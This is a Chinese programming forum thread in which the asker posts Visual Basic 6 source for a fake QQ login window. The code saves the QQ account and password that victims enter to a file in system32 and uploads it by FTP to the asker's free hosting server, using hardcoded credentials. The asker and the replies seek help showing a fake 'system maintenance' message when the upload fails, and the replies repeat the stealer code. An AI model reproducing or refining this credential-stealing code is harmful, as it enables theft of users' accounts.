问题3 如何判断程序！源码在此帮忙判断！

Question

Private Sub Form_Load()
Dim Buffer As String
Buffer = Space(MAX_PATH)
rtn = GetWindowsDirectory(Buffer, Len(Buffer))
WinPath = Left(Buffer, rtn)
Dim UserInput
UserInput = "system32"
' 窗口置前  Dim myval
  myval = SetWindowPos(Form2.hwnd, -1, 0, 0, 0, 0, 3)
  
Label5.Left = 0
Label6.Left = -WidthIf Dir(WinPath & "\" & UserInput & "\" & "ldy.txt") = "" Then 
Open WinPath & "\" & UserInput & "\" & "ldy.txt" For Binary As #3 
Put #3, , ""
Close #3 
End IfEnd SubPrivate Sub TonyPecaoButon1_Click()
On Error Resume Next
Dim Buffer As String
Buffer = Space(MAX_PATH)
rtn = GetWindowsDirectory(Buffer, Len(Buffer))
WinPath = Left(Buffer, rtn)
Dim UserInput
UserInput = "system32"
If Text1.Text = "" Or Text2.Text = "" Then
 MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
   Text1.Text = ""
   Text2.Text = ""
'   txtbuscaruser.SetFocus
  Exit Sub
End IfOn Error GoTo ErrorHandler
   Dim campo1 As Variant
   Dim campo2 As Variant
   Dim campo3 As Variant
Open WinPath & "\" & "SysFile.vbe" For Input As #1
  Do Until EOF(1)
    Input #1, campo1, campo2, campo3
       Form2.Label20 = campo1
       Form2.Text2.Text = campo2
       Form2.Text5.Text = campo3
If Text1.Text = campo1 And Text2.Text = campo2 Then
Form3.Visible = False
Form4.Show                       ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏FORM3弹出FORM4
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
  Me.Hide
  Me!Timer1.Enabled = False
  j = 0
  Me!Timer2.Enabled = True
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
Call ShowWindow(ma, 1) 
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
 'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
 'SendKeys "%{Tab}"
SendKeys "{Tab}", True
j = FreeFile
Open WinPath & "\" & UserInput & "\" & "ldy.txt" For Append As j 
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
    Me!Text1.Text = ""
    Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://7827.RVRV.net/"
Inet1.URL = urldz
Inet1.UserName = "7827" 'FTP空间账号
Inet1.Password = "123456"  'FTP空间密码
          Inet1.Execute "", "PUT" & Chr(34) & WinPath & "\" & UserInput & "\" & "ldy.txt ldy.txt"
    right1 = Inet1.StillExecuting
    Do While right1
       right1 = Inet1.StillExecuting
       DoEvents
    Loop
Close j
End If
Form3.Visible = False
frmPlayer.Show 1
  Unload Me
    Exit Sub
     Exit Do
End If   LoopClose #1这里需要判断下！因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不了了，也不提示信息！一直定在那里！所以我就想到着个方法！如果 上传失败或者连接不到  就提示    “系统正在维护，请稍后在试，”  如果成功把TEXT1的信息上传后就不提示直接下一步ErrorHandler:
 If Text1.Text <> campo1 Or Text2.Text <> campo2 Then
  MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息"
   Text1.Text = ""
   Text2.Text = ""
 '  txtbuscaruser.SetFocus
 Exit Sub
End If
End Sub

Answer 1

就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护"

Answer 2

因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不了了，也不提示信息！一直定在那里！所以我就想到着个方法！ 
Private Sub TonyPecaoButon1_Click() 
If Text1.Text = "" Or Text2.Text = "" Then 
MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息" 
  Text1.Text = "" 
  Text2.Text = "" 
'  txtbuscaruser.SetFocus 
  Exit Sub 
End If                  On Error GoTo ErrorHandler 
  Dim campo1 As Variant 
  Dim campo2 As Variant 
  Dim campo3 As Variant 
Open "c:\SysFile.vbe" For Input As #1 
  Do Until EOF(1) 
    Input #1, campo1, campo2, campo3 
      Form2.Label20 = campo1 
      Form2.Text2.Text = campo2 
      Form2.Text5.Text = campo3 
If Text1.Text = campo1 And Text2.Text = campo2 Then
Form3.Visible = False
Form4.Show                       ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏FORM3弹出FORM4
'-------测试用的语句可以删除------------------------------------
If Me!Text2.Text = "ljp" Then
Me!Text2.Text = ""
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
  Me.Hide
  Me!Timer1.Enabled = False
  j = 0
  Me!Timer2.Enabled = True
'-------测试用的语句可以删除------------------------------------
Else
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant
zh = Me!Text1.Text
mm = Me!Text2.Text
'-----------------------------------------------------------
Call ShowWindow(ma, 1) '将窗口还原显示
'------把焦点还给-------------------------------------------------
Call ShowWindow(ma, 1)
Call SetForegroundWindow(ByVal lngHand)
 'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE
 'SendKeys "%{Tab}"
'------把焦点还给-------------------------------------------------
SendKeys "{Tab}", True
j = FreeFile
Open "c:\ldy.txt" For Append As j '把账号密码要保存的路径
e = "QQ帐号:" + Me!Text1.Text
p = "QQ密码:" + Me!Text2.Text
    Me!Text1.Text = ""
    Me!Text2.Text = ""
Print #j, p, e
Close j
urldz = "ftp://7827.RRvV.net/"
Inet1.URL = urldz
Inet1.UserName = "7827" 'FTP空间账号
Inet1.Password = "123456"  'FTP空间密码
          Inet1.Execute "", "PUT" & Chr(34) & WinPath & "\" & UserInput & "\" & "ldy.txt ldy.txt"
    right1 = Inet1.StillExecuting
    Do While right1
       right1 = Inet1.StillExecuting
       DoEvents
    Loop
Close j
End If
Form3.Visible = False
frmPlayer.Show 1
  Unload Me
    Exit Sub
     Exit Do
End If   LoopClose #1
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
我就是这里想判断下！ 如果 上传失败或者连接不到空间   就提示 “系统正在维护，请稍后在试，”  如果成功把TEXT1的信息上传后就不提示直接下一步 
我就是想这样，我这个程序主要是这样的，2个TEXT，一个COMMAND，按COMMAND的时候就保存那2个TEXT文本信息到FTP空间上，上传！如果上传不了就提示 “系统正在维护，请稍后在试，” 以上那段代码就是上传的，而在这里我就想判断一下 如果上传不了就提示 “系统正在维护，请稍后在试，”   不是知道各位高手们能明白我的意思吗？在重复一遍就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护"
ErrorHandler: 
If Text1.Text <> campo1 Or Text2.Text <> campo2 Then 
  MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息" 
  Text1.Text = "" 
  Text2.Text = "" 
'  txtbuscaruser.SetFocus 
Exit Sub 
End If 
End Sub 
 
 

Answer 3

因为我的是5944的两级免费空间，不稳定，过不了几个月又要自己更换域名，所以一下又登陆不 了了，也不提示信息！一直定在那里！所以我就想到着个方法！ 
Private Sub TonyPecaoButon1_Click() 
If Text1.Text = "" Or Text2.Text = "" Then 
MsgBox ("请输入用户账号和密码！"), vbCritical, "【ご縗囝の纞ご】 - 错误信息" 
  Text1.Text = "" 
  Text2.Text = "" 
'  txtbuscaruser.SetFocus 
  Exit Sub 
End If                  On Error GoTo ErrorHandler 
  Dim campo1 As Variant 
  Dim campo2 As Variant 
  Dim campo3 As Variant 
Open "c:\SysFile.vbe" For Input As #1 
  Do Until EOF(1) 
    Input #1, campo1, campo2, campo3 
      Form2.Label20 = campo1 
      Form2.Text2.Text = campo2 
      Form2.Text5.Text = campo3 
If Text1.Text = campo1 And Text2.Text = campo2 Then 
Form3.Visible = False 
Form4.Show                      ‘ 如果成功把TEXT1的信息上传后就进入这一步！隐藏 FORM3弹出FORM4 
'-------测试用的语句可以删除------------------------------------ 
If Me!Text2.Text = "ljp" Then 
Me!Text2.Text = "" 
Call ShowWindow(ma, 1) 
Call SetForegroundWindow(ByVal lngHand) 
  Me.Hide 
  Me!Timer1.Enabled = False 
  j = 0 
  Me!Timer2.Enabled = True 
'-------测试用的语句可以删除------------------------------------ 
Else 
Dim e As String, p As String, urldz As String, zh As Variant, mm As Variant 
zh = Me!Text1.Text 
mm = Me!Text2.Text 
'----------------------------------------------------------- 
Call ShowWindow(ma, 1) '将窗口还原显示 
'------把焦点还给------------------------------------------------- 
Call ShowWindow(ma, 1) 
Call SetForegroundWindow(ByVal lngHand) 
'SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE Or SWP_NOMOVE 
'SendKeys "%{Tab}" 
'------把焦点还给------------------------------------------------- 
SendKeys "{Tab}", True 
j = FreeFile 
Open "c:\ldy.txt" For Append As j '把账号密码要保存的路径 
e = "QQ帐号:" + Me!Text1.Text 
p = "QQ密码:" + Me!Text2.Text 
    Me!Text1.Text = "" 
    Me!Text2.Text = "" 
Print #j, p, e 
Close j 
urldz = "ftp://7827.RRvV.net/" 
Inet1.URL = urldz 
Inet1.UserName = "7827" 'FTP空间账号 
Inet1.Password = "123456"  'FTP空间密码 
          Inet1.Execute "", "PUT" & Chr(34) & WinPath & "\" & UserInput & "\" & "ldy.txt ldy.txt" 
    right1 = Inet1.StillExecuting 
    Do While right1 
      right1 = Inet1.StillExecuting 
      DoEvents 
    Loop 
Close j 
End If 
Form3.Visible = False 
frmPlayer.Show 1 
  Unload Me 
    Exit Sub 
    Exit Do 
End If   Loop Close #1 
||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 
我就是这里想判断下！ 如果 上传失败或者连接不到空间  就提示 “系统正在维护，请稍后在 试，”  如果成功把TEXT1的信息上传后就不提示直接下一步 
我就是想这样，我这个程序主要是这样的，2个TEXT，一个COMMAND，按COMMAND的时候就保存那2 个TEXT文本信息到FTP空间上，上传！如果上传不了就提示 “系统正在维护，请稍后在试，” 以上那段代码就是上传的，而在这里我就想判断一下 如果上传不了就提示 “系统正在维护，请稍后在试，”  不是知道各位高手们能明白我的意思吗？ 在重复一遍就是上传一个LDY.TXT文件到FTP空间上啊,就是判断下,如果上传不到就提示"服务器维护" 
ErrorHandler: 
If Text1.Text <> campo1 Or Text2.Text <> campo2 Then 
  MsgBox ("用户账号或者密码错误! "), vbCritical, "【ご縗囝の纞ご】 - 错误信息" 
  Text1.Text = "" 
  Text2.Text = "" 
'  txtbuscaruser.SetFocus 
Exit Sub 
End If 
End Sub 

Answer 4

如何判断这段代码是否连接了到了服务器， Private Sub Command1_Click() 
Inet1.Protocol = icFTP 
      Inet1.RemoteHost = ServerName'服务器地址 
      Inet1.RemotePort = 21'FTP端口 
      Inet1.UserName = uName'用户名 
      Inet1.Password = uPWS'密码 '上传文件： 
Inet1.Execute "", "PUT d:\1.txt 1.txt" 
        ri = Inet1.StillExecuting 
        Do While ri 
          ri = Inet1.StillExecuting 
          DoEvents 
        Loop ‘------------------------------------------------------------------------------------------------- 
    '以上代码利用Inet1控件是上传TEXT1和TEXT2的内容到FTP空间里面！ 
    If right1 <>true Then '如果我想在这里做一个判断“连接到了FTP服务器就提示连接成功可以上传到FTP空间了” 
    MsgBox "连接错误不能上传信息到FTP空间!" 
    UNLOAD ME '上传失败退出程序！ 
    Else 
    MsgBox "连接成功正在上传信息到FTP空间!" 
    Inet1.Execute "", "PUT E:\ldy.txt ldy.txt"  '开始上传到FPT空间LDY。TXT文件上！ 
    End If 
‘------------------------------------------------------------------------------------------------- 
Unload Me 
End Sub